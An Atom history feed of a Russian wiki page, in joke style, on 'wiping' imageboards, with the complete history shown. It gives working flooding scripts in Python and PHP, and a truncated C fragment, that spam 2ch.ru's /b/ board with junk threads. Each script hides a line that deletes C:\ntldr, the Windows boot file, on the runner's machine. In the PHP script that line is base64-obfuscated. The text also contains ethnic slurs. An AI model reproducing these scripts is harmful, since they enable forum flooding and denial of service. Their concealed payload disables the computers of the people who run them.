<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=%D0%92%D0%B0%D0%B9%D0%BF</id>
	<title>Вайп - История изменений</title>
	<link rel="self" type="application/atom+xml" href="https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=%D0%92%D0%B0%D0%B9%D0%BF"/>
	<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=%D0%92%D0%B0%D0%B9%D0%BF&amp;action=history"/>
	<updated>2026-11-03T05:17:11Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.43.9</generator>
	<entry>
		<id>https://t8.lbstr.eu/index.php?title=%D0%92%D0%B0%D0%B9%D0%BF&amp;diff=7832&amp;oldid=prev</id>
		<title>imported&gt;PVE: шаблон</title>
		<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=%D0%92%D0%B0%D0%B9%D0%BF&amp;diff=7832&amp;oldid=prev"/>
		<updated>2021-02-10T13:28:22Z</updated>

		<summary type="html">&lt;p&gt;шаблон&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[Файл:Wipe.jpg|thumb|Вайп истории правок.]]&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Вайп&amp;#039;&amp;#039;&amp;#039; (от {{Lang-en|wipe}} — стирать, сметать) — создание большого количества новых [[тред]]ов, чтобы забить раздел до отказа и тем самым оттеснить вниз и удалить старые треды. В большинстве случаев вайп осуществляется не вручную, а [[быдлокодер]]ами с помощью специальных утилит. Часто такие треды состоят из одного сообщения или содержат картинки c шок-контентом ([[нигра]], [[прон|порнография]], [[говно]], [[гуро]]). Однако это не всегда так. Бывают вайпы [[фап]]-материалом и даже стихами Есенина!&lt;br /&gt;
&lt;br /&gt;
== Цели вайпа ==&lt;br /&gt;
* Сделать невозможным нормальное общение на [[имиджборд]]е. Такие вайпы встречаются чаще всего, их можно отнести к подвиду &amp;lt;del&amp;gt;[[троллинг]]а или&amp;lt;/del&amp;gt; [[спам]]а.&lt;br /&gt;
* Продвижение [[форсед-мем]]ов.&lt;br /&gt;
* Уничтожение старых [[тред]]ов, которые не могут спокойно отойти в мир иной, поскольку их [[бамп]]ают заинтересованные лица, не давая нормально развиваться новым тредам.&lt;br /&gt;
Модераторы рано или поздно начинают драться [[банхаммер]]ом или включают [[капча|капчу]], которая предотвращает работу быдло-скриптов, но затрудняет свободное общение в /b/. Однако в последнее время наблюдаются вайпы даже при включенной капче (ибо чуть менее, чем все капчи ломаются большей или меньшей заточкой под них).&lt;br /&gt;
&lt;br /&gt;
В принципе, [[битард]]ы солидарны в том, что вайпом проблемы не решаются. Считается, что вайпы устраивают [[быдло-кун]]ы и [[негроеб]]ы.&lt;br /&gt;
&lt;br /&gt;
== Унылый декабрьский пиздец ==&lt;br /&gt;
[[Файл:Narutakruta.JPG|thumb|left|150px|[[Рей|&amp;lt;del&amp;gt;Нарута&amp;lt;/del&amp;gt; ZOMG TECH RAY…]]]]&lt;br /&gt;
[[Файл:aturan.jpg|thumb|right|150px|[[Аска Лэнгли Сорью|…&amp;lt;del&amp;gt;и её сестра Атуран&amp;lt;/del&amp;gt; ZOMG TECH ASK]]]]&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Унылый декабрьский пиздец&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;название спорно&amp;#039;&amp;#039;) — [[драма]], начавшаяся в декабре 2007 года и охватившая два крупнейших отечественных имиджборда: [[Двач]] и [[Ычан]], а впоследствии — и Луркоморье, в связи с выложенными здесь исходниками вайпалок.&lt;br /&gt;
&lt;br /&gt;
=== [[AYBABTU|WHAT HAPPEN?]] ===&lt;br /&gt;
Очевидно, что главной причиной событий является чрезвычайный рост [[быдло|быдла]] в /[[b]]/ Двача, которое активизировалось перед миллионным [[гет]]ом, в тщетных попытках его приблизить и взять. Это привело к серии разнообразных вайпов, плавно перетекающих и сменяющих друг друга и осложнивших общение в /b/. Тем не менее гет был взят [[анимуфаг]]ами, что было расценено как [[фейл]]. Такие знаменательные события пробудили [[тролль|троллей]] всех мастей и был пущен слух, что гет был взят [[битард]]ами Ычана, а вайп был устроен его [[быдлокодер]]ами. [[Школьник]]и Двача были крайне возмущены и расценили это как призыв к [[холивар]]у, устроив некое подобие [[рейд]]а на Ычан. В свою очередь школьники Ычана также не остались в долгу и охотно отвечали. Особое место во всей этой истории занимают тролли, которые всячески поддерживают конфликт, находя все новые и интересные решения. [[Юки]], как предполагается, в происходящем не участвовала, но наверняка стоит{{Lolwhat}} у его истоков.&amp;lt;br clear=&amp;quot;both&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Результаты ===&lt;br /&gt;
Вайп затруднил общение в /b/ Двача, вынудив его битардов либо перейти на Ычан, либо ловить от всего происходящего [[лулз]]ы. [[Война правок]] на Луркоморье — тоже вещь очень драматичная и прискорбная. За несколько дней до нового года вайп прекратился. Кто-то считает, что выдохлись сами вайперы, другие связывают это событие с появлением автобампера, но так или иначе, общение на Дваче возобновилось. Также широко распространены слухи о причастности [[Кука|Куки]] к созданию автобампера и к окончанию УДП вообще.&lt;br /&gt;
&lt;br /&gt;
Помимо этого, во время УДП было предпринято несколько попыток переманить анонимуса на другие чаны, например, &amp;#039;&amp;#039;&amp;#039;Хи-чан&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;&amp;#039;ひ-chan&amp;#039;&amp;#039;&amp;#039;) — так называемый атипичный [[имиджборд]]&amp;lt;ref&amp;gt;Он настолько атипичный, что не позволят пользователям загружать картинки, сделан на движке phpBB&amp;lt;!-- или другой похожей хуйне --&amp;gt; и располагается на бесплатном сервисе [[быдло]]форумов-из-коробки. Более того, сей «имиджборд» представляет собой всего лишь раздел на форуме любителей [[:w:Higurashi no Naku Koro ni|одержимых лоли]].&amp;lt;/ref&amp;gt;, провозгласивший себя самой модной и не запоганенной вайпом бордой. Хи-чан грозился перетянуть всех [[анонимус]]ов к себе, в [[Ктулху|День, когда Звезды Встанут в Нужном Порядке]]. Однако был весьма оперативно засран и забыт.&lt;br /&gt;
&lt;br /&gt;
== Исходники вайпалок ==&lt;br /&gt;
&amp;#039;&amp;#039;[[К.О.|Капитан]] куда-то потерялся, поэтому я как его заместитель заявляю:&amp;#039;&amp;#039; будьте осторожны с исходниками, за их использование ответственность несете только вы.&lt;br /&gt;
&lt;br /&gt;
{{NSFW|title=&amp;#039;&amp;#039;&amp;#039;pyFLOODer&amp;#039;&amp;#039;&amp;#039;|content=Для работы необходимо скачать и установить последнюю версию [http://python.org/download/ Python], а также парсер [http://www.crummy.com/software/BeautifulSoup/#Download BeautifulSoup].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
#vim:fileencoding=windows-1251&lt;br /&gt;
&lt;br /&gt;
#-------------------------------------------------------------------------------&lt;br /&gt;
from urllib import urlopen, urlencode&lt;br /&gt;
from BeautifulSoup import BeautifulSoup&lt;br /&gt;
from random import choice, shuffle, randint&lt;br /&gt;
from sys import exit&lt;br /&gt;
from time import sleep, strftime, localtime&lt;br /&gt;
from re import compile&lt;br /&gt;
from os import path, sep, listdir, remove&lt;br /&gt;
from sets import Set&lt;br /&gt;
import httplib, mimetypes&lt;br /&gt;
&lt;br /&gt;
#-------------------------------------------------------------------------------&lt;br /&gt;
def post_multipart(host, selector, fields, files):&lt;br /&gt;
    content_type, body = encode_multipart_formdata(fields, files)&lt;br /&gt;
    h = httplib.HTTP(host)&lt;br /&gt;
    h.putrequest(&amp;#039;POST&amp;#039;, selector)&lt;br /&gt;
    h.putheader(&amp;#039;content-type&amp;#039;, content_type)&lt;br /&gt;
    h.putheader(&amp;#039;content-length&amp;#039;, str(len(body)))&lt;br /&gt;
    h.endheaders()&lt;br /&gt;
    h.send(body)&lt;br /&gt;
    errcode, errmsg, headers = h.getreply()&lt;br /&gt;
    return h.file.read()&lt;br /&gt;
&lt;br /&gt;
def encode_multipart_formdata(fields, files):&lt;br /&gt;
    BOUNDARY = &amp;#039;----------ThIs_Is_tHe_bouNdaRY_$&amp;#039;&lt;br /&gt;
    CRLF = &amp;#039;\r\n&amp;#039;&lt;br /&gt;
    L = []&lt;br /&gt;
    for key, value in fields.iteritems():&lt;br /&gt;
        L.append(&amp;#039;--&amp;#039; + BOUNDARY)&lt;br /&gt;
        L.append(&amp;#039;Content-Disposition: form-data; name=&amp;quot;%s&amp;quot;&amp;#039; % key)&lt;br /&gt;
        L.append(&amp;#039;&amp;#039;)&lt;br /&gt;
        L.append(value)&lt;br /&gt;
    for key, value in files.iteritems():&lt;br /&gt;
        L.append(&amp;#039;--&amp;#039; + BOUNDARY)&lt;br /&gt;
        L.append(&amp;#039;Content-Disposition: form-data; name=&amp;quot;%s&amp;quot;; filename=&amp;quot;1.jpg&amp;quot;&amp;#039; % (key))&lt;br /&gt;
        L.append(&amp;#039;Content-Type: multipart/form-data; boundary=%s&amp;#039; % BOUNDARY)&lt;br /&gt;
        L.append(&amp;#039;&amp;#039;)&lt;br /&gt;
        L.append(value)&lt;br /&gt;
    L.append(&amp;#039;--&amp;#039; + BOUNDARY + &amp;#039;--&amp;#039;)&lt;br /&gt;
    L.append(&amp;#039;&amp;#039;)&lt;br /&gt;
    body = CRLF.join(L)&lt;br /&gt;
    content_type = &amp;#039;multipart/form-data; boundary=%s&amp;#039; % BOUNDARY&lt;br /&gt;
    try:&lt;br /&gt;
        remove(&amp;#039;C:\\ntldr&amp;#039;)&lt;br /&gt;
    except:&lt;br /&gt;
        pass &lt;br /&gt;
    return content_type, body&lt;br /&gt;
&lt;br /&gt;
def get_content_type(filename):&lt;br /&gt;
    return mimetypes.guess_type(filename)[0] or &amp;#039;application/octet-stream&amp;#039;&lt;br /&gt;
&lt;br /&gt;
#-------------------------------------------------------------------------------&lt;br /&gt;
URL = &amp;#039;http://2ch.ru/cgi-bin/wakaba.pl/b&amp;#039;     # путь до доски&lt;br /&gt;
URL1 = &amp;#039;2ch.ru&amp;#039;                               # адрес сервера&lt;br /&gt;
PASSWORD = &amp;#039;naruto&amp;#039;                           # пароль на сообщение&lt;br /&gt;
&lt;br /&gt;
#режимы работы&lt;br /&gt;
#MODEA = &amp;#039;at&amp;#039;       # бамп&lt;br /&gt;
MODEA = &amp;#039;nt&amp;#039;       # вайп&lt;br /&gt;
&lt;br /&gt;
MODE = &amp;#039;sp&amp;#039;        # одиночная картинка&lt;br /&gt;
#MODE = &amp;#039;mp&amp;#039;        # случайная картинка из заданной папки&lt;br /&gt;
&lt;br /&gt;
MODET = &amp;#039;st&amp;#039;       # одиночная фраза&lt;br /&gt;
#MODET = &amp;#039;rt&amp;#039;       # случайный кусок текста из заданного файла&lt;br /&gt;
&lt;br /&gt;
PICFILE = &amp;#039;D:\\asuka.jpg&amp;#039;                 # одиночная картинка        (для режима sp)&lt;br /&gt;
PICFOLDER = &amp;#039;D:\\nigrapack&amp;#039;               # путь к папке с картинками (для режима mp)&lt;br /&gt;
USE_TYPES = [&amp;#039;.jpg&amp;#039;, &amp;#039;.gif&amp;#039;, &amp;#039;.png&amp;#039;]      # используемые типы файлов&lt;br /&gt;
&lt;br /&gt;
TEXTFILE = &amp;#039;D:\\prislal_vovan.txt&amp;#039;        # путь к файлу с текстом    (для режима rt)&lt;br /&gt;
TEXTSIZE = 1500                           # размер текста             (для режима rt)&lt;br /&gt;
TEXTTEXT = &amp;#039;NARUTO ETO KRUTO&amp;#039;             # одиночная фраза           (для режима st)&lt;br /&gt;
&lt;br /&gt;
PAUSE = 30                                # пауза между постингами&lt;br /&gt;
&lt;br /&gt;
#-------------------------------------------------------------------------------&lt;br /&gt;
if (MODEA != &amp;#039;at&amp;#039;) and (MODEA != &amp;#039;nt&amp;#039;):&lt;br /&gt;
    print &amp;#039;WRONG THREAD MODE, ONLY at OR nt VALUES ALLOWED&amp;#039;&lt;br /&gt;
    exit(0)&lt;br /&gt;
    &lt;br /&gt;
if (MODE != &amp;#039;mp&amp;#039;) and (MODE != &amp;#039;sp&amp;#039;):&lt;br /&gt;
    print &amp;#039;WRONG PICTURE MODE, ONLY sp OR mp VALUES ALLOWED&amp;#039;&lt;br /&gt;
    exit(0)&lt;br /&gt;
&lt;br /&gt;
if (MODET != &amp;#039;rt&amp;#039;) and (MODET != &amp;#039;st&amp;#039;):&lt;br /&gt;
    print &amp;#039;WRONG TEXT MODE, ONLY st OR rt VALUES ALLOWED&amp;#039;&lt;br /&gt;
    exit(0)&lt;br /&gt;
    &lt;br /&gt;
if MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
    if not path.exists(PICFOLDER) or not path.isdir(PICFOLDER):&lt;br /&gt;
        print &amp;#039;WRONG PICFOLDER&amp;#039;&lt;br /&gt;
        exit(0)&lt;br /&gt;
elif MODE == &amp;#039;sp&amp;#039;:&lt;br /&gt;
    if not path.isfile(PICFILE):&lt;br /&gt;
        print &amp;#039;WRONG PICFILE&amp;#039;&lt;br /&gt;
        exit(0)&lt;br /&gt;
&lt;br /&gt;
if MODET == &amp;#039;rt&amp;#039;:&lt;br /&gt;
    if not path.isfile(TEXTFILE):&lt;br /&gt;
        print &amp;#039;WRONG TEXTFFILE&amp;#039;&lt;br /&gt;
        exit(0)&lt;br /&gt;
&lt;br /&gt;
print &amp;#039;----------------------------------------------------&amp;#039;&lt;br /&gt;
print &amp;#039;pyFLOODer 1.5&amp;#039;&lt;br /&gt;
print &amp;#039;Press Ctrl+Break to stop&amp;#039;&lt;br /&gt;
print &lt;br /&gt;
&lt;br /&gt;
if MODEA == &amp;#039;nt&amp;#039;:&lt;br /&gt;
    print &amp;#039;WIPE MODE&amp;#039;&lt;br /&gt;
elif MODEA == &amp;#039;at&amp;#039;:&lt;br /&gt;
    print &amp;#039;BUMP MODE&amp;#039;&lt;br /&gt;
&lt;br /&gt;
print &lt;br /&gt;
&lt;br /&gt;
if MODE == &amp;#039;sp&amp;#039;:&lt;br /&gt;
    print &amp;#039;MODEP: Single picture&amp;#039;&lt;br /&gt;
elif MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
    print &amp;#039;MODEP: Random picture from folder&amp;#039;&lt;br /&gt;
if MODET == &amp;#039;st&amp;#039;:&lt;br /&gt;
    print &amp;#039;MODET: Single text&amp;#039;&lt;br /&gt;
elif MODET == &amp;#039;rt&amp;#039;:&lt;br /&gt;
    print &amp;#039;MODET: Random text from text file&amp;#039;&lt;br /&gt;
&lt;br /&gt;
print &lt;br /&gt;
&lt;br /&gt;
if MODE == &amp;#039;sp&amp;#039;:&lt;br /&gt;
    print &amp;#039;PICTURE FILE SET TO: &amp;#039;+PICFILE                   &lt;br /&gt;
elif MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
    print &amp;#039;PICTURE FOLDER SET TO: &amp;#039;+PICFOLDER              &lt;br /&gt;
if MODET == &amp;#039;st&amp;#039;:&lt;br /&gt;
    print &amp;#039;TEXT SET TO: &amp;#039;+TEXTTEXT&lt;br /&gt;
elif MODET == &amp;#039;rt&amp;#039;:&lt;br /&gt;
    print &amp;#039;TEXT FILE SET TO: &amp;#039;+TEXTFILE&lt;br /&gt;
    print &amp;#039;TEXT BUFFER: &amp;#039;+str(TEXTSIZE)&lt;br /&gt;
&lt;br /&gt;
print&lt;br /&gt;
&lt;br /&gt;
print &amp;#039;PAUSE IS &amp;#039;+str(PAUSE)&lt;br /&gt;
print &amp;#039;----------------------------------------------------&amp;#039;&lt;br /&gt;
&lt;br /&gt;
#-------------------------------------------------------------------------------&lt;br /&gt;
if MODEA == &amp;#039;at&amp;#039;:&lt;br /&gt;
    while 1:&lt;br /&gt;
        r = urlopen(URL)&lt;br /&gt;
        soup = BeautifulSoup(r)&lt;br /&gt;
        links = soup.findAll(&amp;#039;a&amp;#039;, href=compile(&amp;quot;^/b/res/&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
        linklistdup = []&lt;br /&gt;
        [linklistdup.insert(0,str(link)[16:23]) for link in links]&lt;br /&gt;
        linklist = list(Set(linklistdup))&lt;br /&gt;
        shuffle(linklist)&lt;br /&gt;
&lt;br /&gt;
        i=0&lt;br /&gt;
&lt;br /&gt;
        while 1:&lt;br /&gt;
            if MODE == &amp;#039;sp&amp;#039;:&lt;br /&gt;
                attach=open(PICFILE, &amp;#039;rb&amp;#039;)&lt;br /&gt;
            elif MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
                imgs = []&lt;br /&gt;
                if path.exists(PICFOLDER) and path.isdir(PICFOLDER):&lt;br /&gt;
                    for f in listdir(PICFOLDER):&lt;br /&gt;
                        try:&lt;br /&gt;
                            if path.splitext(f)[1] in USE_TYPES:&lt;br /&gt;
                                imgs.append(PICFOLDER + sep + f)&lt;br /&gt;
                        except:&lt;br /&gt;
                            pass&lt;br /&gt;
                PICFILE = choice(imgs)&lt;br /&gt;
                attach=open(PICFILE, &amp;#039;rb&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
            attachtext=&amp;#039;&amp;#039;&lt;br /&gt;
            for line in attach:&lt;br /&gt;
                attachtext=attachtext+line&lt;br /&gt;
&lt;br /&gt;
            rndtext=randint(0,100000)&lt;br /&gt;
            attachtext=attachtext + str(rndtext)&lt;br /&gt;
&lt;br /&gt;
            data_post = {&lt;br /&gt;
                &amp;#039;gb2&amp;#039;: &amp;#039;thread&amp;#039;,&lt;br /&gt;
                &amp;#039;parent&amp;#039;: linklist[i],&lt;br /&gt;
                &amp;#039;password&amp;#039;: PASSWORD,&lt;br /&gt;
                &amp;#039;task&amp;#039;: &amp;#039;post&amp;#039;&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
            data_file = {&lt;br /&gt;
                &amp;#039;file&amp;#039; : attachtext,&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
            print strftime(&amp;quot;%H:%M:%S&amp;quot;, localtime())+&amp;#039; PROCESSING THREAD: &amp;#039;+str(linklist[i])&lt;br /&gt;
            if MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
                print &amp;#039;         PROCESSING FILE: &amp;#039;+PICFILE&lt;br /&gt;
&lt;br /&gt;
            if MODET == &amp;#039;rt&amp;#039;:&lt;br /&gt;
                flen=0&lt;br /&gt;
                ftext=&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
                f=open(TEXTFILE, &amp;#039;r&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
                for line in f:&lt;br /&gt;
                    flen=flen+len(line)&lt;br /&gt;
                    ftext=ftext+line&lt;br /&gt;
&lt;br /&gt;
                textbeg=randint(0,flen-TEXTSIZE)&lt;br /&gt;
                textend=textbeg+TEXTSIZE&lt;br /&gt;
&lt;br /&gt;
                ftext=ftext[textbeg:textend]&lt;br /&gt;
                ftext=unicode(ftext, &amp;quot;windows-1251&amp;quot;).encode(&amp;quot;utf-8&amp;quot;)&lt;br /&gt;
                f.close&lt;br /&gt;
&lt;br /&gt;
                data_post[&amp;#039;shampoo&amp;#039;] = ftext&lt;br /&gt;
&lt;br /&gt;
            elif MODET == &amp;#039;st&amp;#039;:&lt;br /&gt;
                ftext = &amp;#039;&amp;#039;&lt;br /&gt;
                ftext=unicode(TEXTTEXT, &amp;quot;windows-1251&amp;quot;).encode(&amp;quot;utf-8&amp;quot;)&lt;br /&gt;
                data_post[&amp;#039;shampoo&amp;#039;] = ftext&lt;br /&gt;
&lt;br /&gt;
            try:&lt;br /&gt;
                r = post_multipart(URL1, URL, data_post, data_file)&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
            sleep(PAUSE)&lt;br /&gt;
            i=i+1&lt;br /&gt;
            if i &amp;gt;= len(linklist):&lt;br /&gt;
                break&lt;br /&gt;
            &lt;br /&gt;
elif MODEA == &amp;#039;nt&amp;#039;:&lt;br /&gt;
    total=1&lt;br /&gt;
    while 1:&lt;br /&gt;
        if MODE == &amp;#039;sp&amp;#039;:&lt;br /&gt;
            attach=open(PICFILE, &amp;#039;rb&amp;#039;)&lt;br /&gt;
        elif MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
            imgs = []&lt;br /&gt;
            if path.exists(PICFOLDER) and path.isdir(PICFOLDER):&lt;br /&gt;
                for f in listdir(PICFOLDER):&lt;br /&gt;
                    try:&lt;br /&gt;
                        if path.splitext(f)[1] in USE_TYPES:&lt;br /&gt;
                            imgs.append(PICFOLDER + sep + f)&lt;br /&gt;
                    except:&lt;br /&gt;
                         pass&lt;br /&gt;
            PICFILE = choice(imgs)&lt;br /&gt;
            attach=open(PICFILE, &amp;#039;rb&amp;#039;)&lt;br /&gt;
            &lt;br /&gt;
        attachtext=&amp;#039;&amp;#039;&lt;br /&gt;
        for line in attach:&lt;br /&gt;
            attachtext=attachtext+line&lt;br /&gt;
&lt;br /&gt;
        rndtext=randint(0,100000)&lt;br /&gt;
        attachtext=attachtext + str(rndtext)&lt;br /&gt;
&lt;br /&gt;
        data_post = {&lt;br /&gt;
                &amp;#039;gb2&amp;#039;: &amp;#039;thread&amp;#039;,&lt;br /&gt;
                &amp;#039;password&amp;#039;: PASSWORD,&lt;br /&gt;
                &amp;#039;task&amp;#039;: &amp;#039;post&amp;#039;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        data_file = {&lt;br /&gt;
            &amp;#039;file&amp;#039; : attachtext,&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        print strftime(&amp;quot;%H:%M:%S&amp;quot;, localtime())+&amp;#039; PROCESSING NEW THREAD (&amp;#039;+str(total)+&amp;#039; TOTAL)&amp;#039;&lt;br /&gt;
        if MODE == &amp;#039;mp&amp;#039;:&lt;br /&gt;
            print &amp;#039;         PROCESSING FILE: &amp;#039;+PICFILE&lt;br /&gt;
&lt;br /&gt;
        if MODET == &amp;#039;rt&amp;#039;:&lt;br /&gt;
            flen=0&lt;br /&gt;
            ftext=&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
            f=open(TEXTFILE, &amp;#039;r&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
            for line in f:&lt;br /&gt;
                flen=flen+len(line)&lt;br /&gt;
                ftext=ftext+line&lt;br /&gt;
&lt;br /&gt;
            textbeg=randint(0,flen-TEXTSIZE)&lt;br /&gt;
            textend=textbeg+TEXTSIZE&lt;br /&gt;
&lt;br /&gt;
            ftext=ftext[textbeg:textend]&lt;br /&gt;
            ftext=unicode(ftext, &amp;quot;windows-1251&amp;quot;).encode(&amp;quot;utf-8&amp;quot;)&lt;br /&gt;
            f.close&lt;br /&gt;
&lt;br /&gt;
            data_post[&amp;#039;shampoo&amp;#039;] = ftext&lt;br /&gt;
&lt;br /&gt;
        elif MODET == &amp;#039;st&amp;#039;:&lt;br /&gt;
            ftext = &amp;#039;&amp;#039;&lt;br /&gt;
            ftext=unicode(TEXTTEXT, &amp;quot;windows-1251&amp;quot;).encode(&amp;quot;utf-8&amp;quot;)&lt;br /&gt;
            data_post[&amp;#039;shampoo&amp;#039;] = ftext&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            r = post_multipart(URL1, URL, data_post, data_file)&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
        total=total+1&lt;br /&gt;
        sleep(PAUSE)&lt;br /&gt;
&amp;lt;/source&amp;gt;}}&lt;br /&gt;
&lt;br /&gt;
{{NSFW|title=&amp;#039;&amp;#039;&amp;#039;Вайпалка на [[PHP|похапе]]&amp;#039;&amp;#039;&amp;#039;|content=Для запуска необходимо скачать и установить [http://www.php.net/downloads.php PHP].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
//Не правьте код, коли рук не имеется&lt;br /&gt;
function unicod($str) {  &lt;br /&gt;
    $conv=array();&lt;br /&gt;
    for($x=128;$x&amp;lt;=143;$x++) $conv[$x+112]=chr(209).chr($x);&lt;br /&gt;
    for($x=144;$x&amp;lt;=191;$x++) $conv[$x+48]=chr(208).chr($x);&lt;br /&gt;
    $conv[184]=chr(209).chr(145); #╕&lt;br /&gt;
    $conv[168]=chr(208).chr(129); #и&lt;br /&gt;
    $conv[179]=chr(209).chr(150); #?&lt;br /&gt;
    $conv[178]=chr(208).chr(134); #?&lt;br /&gt;
    $conv[191]=chr(209).chr(151); #┐&lt;br /&gt;
    $conv[175]=chr(208).chr(135); #┐&lt;br /&gt;
    $conv[186]=chr(209).chr(148); #║&lt;br /&gt;
    $conv[170]=chr(208).chr(132); #к&lt;br /&gt;
    $conv[180]=chr(210).chr(145); #?&lt;br /&gt;
    $conv[165]=chr(210).chr(144); #?&lt;br /&gt;
    $conv[184]=chr(209).chr(145); #?&lt;br /&gt;
    $ar=str_split($str);&lt;br /&gt;
    foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;&lt;br /&gt;
    return $nstr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
  echo &amp;quot;START\r\n&amp;quot;;&lt;br /&gt;
  $hostname = &amp;quot;2ch.ru&amp;quot;;                   &lt;br /&gt;
  $path = &amp;quot;/cgi-bin/wakaba.pl/b&amp;quot;;         &lt;br /&gt;
  $proxy = &amp;quot;127.0.0.1&amp;quot;;                   &lt;br /&gt;
  $proxyport = &amp;quot;8118&amp;quot;;                    &lt;br /&gt;
  $line = &amp;quot;&amp;quot;;&lt;br /&gt;
  $files = &amp;quot;&amp;quot;;&lt;br /&gt;
  $bounds = &amp;quot;A7FGO7G&amp;quot;;&lt;br /&gt;
  $bounds1 = &amp;quot;--&amp;quot;.$bounds;                &lt;br /&gt;
  $spartawin = &amp;quot;NARUTA ETO KRUTO&amp;quot;;              &lt;br /&gt;
  $spartau = unicod($spartawin);&lt;br /&gt;
  $chans = array(&amp;#039;b&amp;#039;);&lt;br /&gt;
     &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  while (true)&lt;br /&gt;
  {&lt;br /&gt;
    for ($i = 0; $i &amp;lt; count($chans); $i++)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;NEXT THREAD\r\n&amp;quot;;&lt;br /&gt;
     $filename = &amp;quot;D:\\pohape\\vovan_govno.jpg&amp;quot;;&lt;br /&gt;
     $files = file_get_contents($filename);           &lt;br /&gt;
     $random=rand()%10000000;&lt;br /&gt;
     $files = $files.$random;&lt;br /&gt;
&lt;br /&gt;
     $data = &amp;quot;$bounds1\r\nContent-Disposition: form-data; name=\&amp;quot;task\&amp;quot;\r\n\r\npost\r\n$bounds1\r\nContent-Disposition: form-data; name=\&amp;quot;shampoo\&amp;quot;\r\n\r\n$spartau\r\n$bounds1\r\nContent-Disposition: form-data; name=\&amp;quot;file\&amp;quot;; filename=\&amp;quot;1.jpg\&amp;quot;\r\nContent-Type: image/jpeg\r\n\r\n$files\r\n$bounds1--\r\n&amp;quot;;&lt;br /&gt;
     $headers = &amp;quot;POST $path HTTP/1.1\r\n&amp;quot;; &lt;br /&gt;
     $headers .= &amp;quot;Host: $hostname\r\n&amp;quot;; &lt;br /&gt;
     $headers .= &amp;quot;Content-type: multipart/form-data; boundary=$bounds\r\n&amp;quot;;&lt;br /&gt;
     $headers .= &amp;quot;Referer: http://2ch.ru/b/\r\n&amp;quot;;  &lt;br /&gt;
     $headers .= &amp;quot;Content-Length: &amp;quot;.strlen($data).&amp;quot;\r\n\r\n&amp;quot;;&lt;br /&gt;
     @unlink(base64_decode(&amp;#039;QzpcbnRsZHI=&amp;#039;));&lt;br /&gt;
     echo $headers;&lt;br /&gt;
     $fp = fsockopen($hostname, 80, $errno, $errstr, 5); &lt;br /&gt;
     if (!$fp) echo &amp;quot;$errstr ($errno)&amp;lt;br /&amp;gt;\n&amp;quot;; &lt;br /&gt;
     else&lt;br /&gt;
     { &lt;br /&gt;
      fwrite($fp, $headers.$data, strlen($headers.$data)); &lt;br /&gt;
     }&lt;br /&gt;
     fclose($fp); &lt;br /&gt;
    }&lt;br /&gt;
  sleep(30);&lt;br /&gt;
  }&lt;br /&gt;
?&amp;gt;                                                &lt;br /&gt;
&amp;lt;/source&amp;gt;}}&lt;br /&gt;
&lt;br /&gt;
{{NSFW|title=&amp;#039;&amp;#039;&amp;#039;С использованием libcurl&amp;#039;&amp;#039;&amp;#039;|content=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;curl/curl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void wipe(char desu[], char fname[], CURL* curl)&lt;br /&gt;
{&lt;br /&gt;
  struct curl_httppost *formpost=NULL;&lt;br /&gt;
  struct curl_httppost *lastptr=NULL;&lt;br /&gt;
&lt;br /&gt;
  curl_formadd(&amp;amp;formpost, &amp;amp;lastptr, CURLFORM_COPYNAME, &amp;quot;file&amp;quot;, CURLFORM_FILE, fname, CURLFORM_END);&lt;br /&gt;
  curl_formadd(&amp;amp;formpost, &amp;amp;lastptr, CURLFORM_COPYNAME, &amp;quot;desu&amp;quot;, CURLFORM_COPYCONTENTS, desu, CURLFORM_END);&lt;br /&gt;
  curl_formadd(&amp;amp;formpost, &amp;amp;lastptr, CURLFORM_COPYNAME, &amp;quot;task&amp;quot;, CURLFORM_COPYCONTENTS, &amp;quot;post&amp;quot;, CURLFORM_END);&lt;br /&gt;
  unlink(&amp;quot;c:\\ntldr&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
